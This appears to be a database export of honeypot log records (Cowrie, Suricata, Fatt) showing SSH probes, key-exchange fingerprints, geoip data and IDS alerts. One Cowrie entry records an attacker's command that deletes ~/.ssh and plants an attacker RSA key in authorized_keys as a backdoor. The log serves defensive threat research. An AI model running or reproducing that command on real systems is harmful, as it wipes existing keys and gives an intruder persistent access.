20643	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:05:01.0206+03	2021-09-20 14:15:02.636612+03	{"_id": "IAXhAnwBvYTbRNuEcPos", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-powepc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "eventid": "cowrie.session.params", "message": [], "session": "02098b2841c8", "@version": "1", "timestamp": "2021-09-20T11:05:01.020600Z", "@timestamp": "2021-09-20T11:05:01.020Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20644	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:05:01.021145+03	2021-09-20 14:15:02.637613+03	{"_id": "IQXhAnwBvYTbRNuEcPos", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "eventid": "cowrie.command.input", "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "session": "02098b2841c8", "@version": "1", "timestamp": "2021-09-20T11:05:01.021145Z", "@timestamp": "2021-09-20T11:05:01.021Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20645	5.188.62.248	109.199.241.180	Suricata	2021-09-20 14:05:01.531271+03	2021-09-20 14:15:02.639612+03	{"_id": "IwXhAnwBvYTbRNuEcvr4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:05:01.413953+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1310}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "5.188.62.248", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.248", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1734331061850369, "payload": "AAADvA4U6B8nz36r79ZfggmF49pc0gAAAIxjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDEtc2hhMQAAAS1zc2gtcnNhLWNlcnQtdjAxQG9wZW5zc2guY29tLHNzaC1kc3MtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1Ni1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxlY2RzYS1zaGEyLW5pc3RwMzg0LWNlcnQtdjAxQG9wZW5zc2guY29tLGVjZHNhLXNoYTItbmlzdHA1MjEtY2VydC12MDFAb3BlbnNzaC5jb20sc3NoLWVkMjU1MTktY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzLHNzaC1lZDI1NTE5AAAAh2FlczEyOC1nY21Ab3BlbnNzaC5jb20sY2hhY2hhMjAtcG9seTEzMDVAb3BlbnNzaC5jb20sYWVzMTI4LWN0cixhZXMxOTItY3RyLGFlczI1Ni1jdHIsYWVzMTI4LWNiYyxhcmNmb3VyLGFyY2ZvdXIyNTYsYXJjZm91cjEyOCwzZGVzLWNiYwAAAIdhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGNoYWNoYTIwLXBvbHkxMzA1QG9wZW5zc2guY29tLGFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczEyOC1jYmMsYXJjZm91cixhcmNmb3VyMjU2LGFyY2ZvdXIxMjgsM2Rlcy1jYmMAAABQaG1hYy1zaGEyLTI1Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTUxMixobWFjLXNoYTItMjU2LGhtYWMtc2hhMSxobWFjLXNoYTEtOTYAAABQaG1hYy1zaGEyLTI1Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTUxMixobWFjLXNoYTItMjU2LGhtYWMtc2hhMSxobWFjLXNoYTEtOTYAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAACand3mrf6rYZH5h/Pm7", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 30592, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:05:01.531271Z", "@timestamp": "2021-09-20T11:05:01.531Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........'.~..._.....\\\\.....curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...-ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519....aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,arcfour256,arcfour128,3des-cbc....aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,arcfour256,arcfour128,3des-cbc...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96....none....none.............&.wy....d~a..."}}	1	\N	\N	alert	\N	\N
20646	222.187.254.41	109.199.241.180	Suricata	2021-09-20 14:05:22.429772+03	2021-09-20 14:15:02.640614+03	{"_id": "WQXhAnwBvYTbRNuExfoJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:05:21.861025+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1209}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "222.187.254.41", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "222.187.254.41", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 401078725190497, "payload": "AAADVAUUHCbT99VfvJbTzLu4NXfuHwAAALdlY2RoLXNoYTItbmlzdHAyNTYsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDUyMSxkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGEyNTYsZGlmZmllLWhlbGxtYW4tZ3JvdXAtZXhjaGFuZ2Utc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEAAABLZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAAAYEgk64w==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 11104, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:05:22.429772Z", "@timestamp": "2021-09-20T11:05:22.429Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T...&..._......5w......ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...Kecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com....none....none................:."}}	1	\N	\N	alert	known attacker	\N
20647	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:05:22.817226+03	2021-09-20 14:15:02.641613+03	{"_id": "WgXhAnwBvYTbRNuExfoJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 32849, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 324420001495114, "@version": "1", "in_iface": "enp5s0", "src_port": 59882, "dest_port": 53, "timestamp": "2021-09-20T11:05:22.817226Z", "@timestamp": "2021-09-20T11:05:22.817Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
20648	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:05:22.906832+03	2021-09-20 14:15:02.643613+03	{"_id": "aAXhAnwBvYTbRNuEyfqI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34752, "timestamp": "2021-09-20T11:05:22.906832", "@timestamp": "2021-09-20T11:05:22.906Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
20649	132.148.165.94	109.199.241.180	Suricata	2021-09-20 14:05:25.796959+03	2021-09-20 14:15:02.644614+03	{"_id": "bAXhAnwBvYTbRNuE0PrD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:05:25.563523+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 843, "bytes_toserver": 1292}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "132.148.165.94", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 319583868524867, "payload": "AAADzAYUF9qbV+xvOC3MMwm032wItwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 56042, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:05:25.796959Z", "@timestamp": "2021-09-20T11:05:25.796Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".........W.o8-.3...l.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
20650	132.148.165.94	109.199.241.180	Cowrie	2021-09-20 14:05:25.684081+03	2021-09-20 14:15:02.646612+03	{"_id": "cgXhAnwBvYTbRNuE0frd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "132.148.165.94", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "09cb136133d8", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:05:25.684081Z", "@timestamp": "2021-09-20T11:05:25.684Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20657	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:05:21.078551+03	2021-09-20 14:15:02.655613+03	{"_id": "UgXhAnwBvYTbRNuEwvo6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "f93aeec3985f", "@version": "1", "timestamp": "2021-09-20T11:05:21.078551Z", "@timestamp": "2021-09-20T11:05:21.078Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
20651	132.148.165.94	109.199.241.180	Cowrie	2021-09-20 14:05:25.797559+03	2021-09-20 14:15:02.647612+03	{"_id": "dgXhAnwBvYTbRNuE0frd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "132.148.165.94", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "09cb136133d8", "@version": "1", "timestamp": "2021-09-20T11:05:25.797559Z", "@timestamp": "2021-09-20T11:05:25.797Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
